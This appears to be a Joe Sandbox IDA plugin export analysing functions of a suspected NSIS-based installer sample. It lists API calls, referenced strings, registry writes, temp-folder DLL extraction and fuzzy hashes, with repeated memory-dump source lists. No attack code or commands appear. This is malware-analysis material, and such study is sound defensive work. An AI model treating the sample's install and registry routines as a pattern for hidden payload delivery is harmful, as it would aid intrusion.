Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: b121bc2ed9969a9fb6c21bfc6921f06f0261ed8b33c3b4db69171897c6bfb89c
Instruction ID: d7c36ab4ba1e77d3c514d2e075e7bf05f8385f4f0eed445bed2eaaef7d4a98f3
Opcode Fuzzy Hash: b121bc2ed9969a9fb6c21bfc6921f06f0261ed8b33c3b4db69171897c6bfb89c
Instruction Fuzzy Hash: 71C1AE71A04205ABEB216F61ED45D3B7A7CFB49306F40053EF501B11E1CB79A952DB2E

Function 00402D69 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402D7A
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\rFa24c148.exe,00000400,?,?,?,00000000,00403425,?), ref: 00402D96

Part of subcall function 004059E3: GetFileAttributesW.KERNELBASE(00000003,00402DA9,C:\Users\user\Desktop\rFa24c148.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
Part of subcall function 004059E3: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\rFa24c148.exe,C:\Users\user\Desktop\rFa24c148.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 00402DE2

Strings

Null, xrefs: 00402E60
C:\Users\user\AppData\Local\Temp\, xrefs: 00402D73
P~A, xrefs: 00402DF7
Inst, xrefs: 00402E4E
Error launching installer, xrefs: 00402DB9
"C:\Users\user\Desktop\rFa24c148.exe", xrefs: 00402D6F
C:\Users\user\Desktop\rFa24c148.exe, xrefs: 00402D80, 00402D8F, 00402DA3, 00402DC3
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402F41
soft, xrefs: 00402E57
C:\Users\user\Desktop, xrefs: 00402DC4, 00402DC9, 00402DCF

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\rFa24c148.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\rFa24c148.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$P~A$soft
API String ID: 4283519449-3143687936
Opcode ID: deaa8614282d3ada7b3d30178f8022547566b7f059afc153b6d9a88955226618
Instruction ID: 9a0bc50dc50940ee2abb7c3ced767a556554b68a68c4a60a299fb88064fb1f26
Opcode Fuzzy Hash: deaa8614282d3ada7b3d30178f8022547566b7f059afc153b6d9a88955226618
Instruction Fuzzy Hash: 88512871900205ABDB209F65DE89BAF7BB8EB14358F10403BF904B62D1C7B88D418BAD

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Program Files (x86)\shaw,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Program Files (x86)\shaw,?,?,00000031), ref: 004017B8

Part of subcall function 00405D77: lstrcpynW.KERNEL32(?,?,00000400,0040326D,004281A0,NSIS Error), ref: 00405D84

Part of subcall function 00405021: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
Part of subcall function 00405021: lstrlenW.KERNEL32(004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
Part of subcall function 00405021: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,004030DB,004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000000,0040FE48,00000000), ref: 0040507C
Part of subcall function 00405021: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll), ref: 0040508E
Part of subcall function 00405021: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
Part of subcall function 00405021: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
Part of subcall function 00405021: SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Strings

C:\Program Files (x86)\shaw, xrefs: 00401781
C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll, xrefs: 00401818, 00401834
C:\Users\user\AppData\Local\Temp\nsnA538.tmp, xrefs: 00401804, 00401822
Call, xrefs: 00401770, 00401779, 00401798, 004017A4, 004017DA, 004017F0, 0040180E, 0040184A, 004018CB, 004018D4, 004018DE, 004018E9

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Program Files (x86)\shaw$C:\Users\user\AppData\Local\Temp\nsnA538.tmp$C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll$Call
API String ID: 1941528284-211454927
Opcode ID: 69be8e2269a1f7a821158fec15adda67e81a6c57227f726c0035925acb367b04
Instruction ID: f5340c52137ac8e05323c68babe13c17cc5cde59bf11d192bd930834dcc8acac
Opcode Fuzzy Hash: 69be8e2269a1f7a821158fec15adda67e81a6c57227f726c0035925acb367b04
Instruction Fuzzy Hash: C6419071900908BACF11BBB5CC46DAF7679EF05368F20863BF425B11E1D73C8A419A6E

Function 00405021 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
lstrlenW.KERNEL32(004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,004030DB,004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,00000000,0040FE48,00000000), ref: 0040507C
SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll), ref: 0040508E
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll, xrefs: 00405042, 00405052, 00405058, 0040507B, 00405087

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll
API String ID: 2531174081-1434864346
Opcode ID: be2a794c2a3455270d4b05c7547fa0c48c28aa5b6759893b99f6518c6e473265
Instruction ID: 72d3c87754a4f2576c1daf3770cdfe6bbb79a9fd4797c08dd841ae8e1e27fedc
Opcode Fuzzy Hash: be2a794c2a3455270d4b05c7547fa0c48c28aa5b6759893b99f6518c6e473265
Instruction Fuzzy Hash: AE219D71900518BBCB219F95DD84ADFBFB9EF45350F14807AF904B62A0C3798A41CFA8

Function 00402FA2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403003
GetTickCount.KERNEL32 ref: 00403084
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004030B1
wsprintfW.USER32 ref: 004030C4
WriteFile.KERNELBASE(00000000,00000000,0040FE48,7FFFFFFF,00000000), ref: 004030F3

Strings

... %d%%, xrefs: 004030BE

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: 13d77005233b2c703e88a738dcd56f5575194dca18d803a30cab386bf45fddca
Instruction ID: 2f3b8c8ab01821edfbb7561a0937ed23110cd7788458c70898d592dcb6d42ddc
Opcode Fuzzy Hash: 13d77005233b2c703e88a738dcd56f5575194dca18d803a30cab386bf45fddca
Instruction Fuzzy Hash: 8A516D31900219ABCF10DF65D944AAF7BACAF48756F10413BE910BB2C0D7389E51CBA9

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsnA538.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsnA538.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsnA538.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Strings

C:\Users\user\AppData\Local\Temp\nsnA538.tmp, xrefs: 00402380, 0040238E, 004023A5, 004023B5, 004023C0

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsnA538.tmp
API String ID: 1356686001-3223593738
Opcode ID: 60d0e40a1802c79bda5c7497f46e73a45a695d690e5e4760ff09b179a2f47946
Instruction ID: ff9c26e96d548ba14907c7cf0d775baaea3cd420635c28ab46d49cad89ffe0f3
Opcode Fuzzy Hash: 60d0e40a1802c79bda5c7497f46e73a45a695d690e5e4760ff09b179a2f47946
Instruction Fuzzy Hash: 311181B1A00108BEEB10AFA4DD49EAF777CEB50358F10443AF905B61D0D7B85D409A29

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040586D: CharNextW.USER32(?,?,C:\,?,004058E1,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\rFa24c148.exe"), ref: 0040587B
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405880
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405898

CreateDirectoryW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNELBASE(?,C:\Program Files (x86)\shaw,?,00000000,000000F0), ref: 00401630

Strings

C:\Program Files (x86)\shaw, xrefs: 00401623

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Program Files (x86)\shaw
API String ID: 3751793516-209812835
Opcode ID: 53cec99a44b5501f79705a11811158959523dda88924113c706af1bde306e0ba
Instruction ID: f9b53a9290970587256920563605d3a8fa34613ebd87cabe797d0c7397107685
Opcode Fuzzy Hash: 53cec99a44b5501f79705a11811158959523dda88924113c706af1bde306e0ba
Instruction Fuzzy Hash: 9711C631904104EBCF206FA0DD449AE76B1EF14369F34493BF881B61E1D63D49419A5D

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
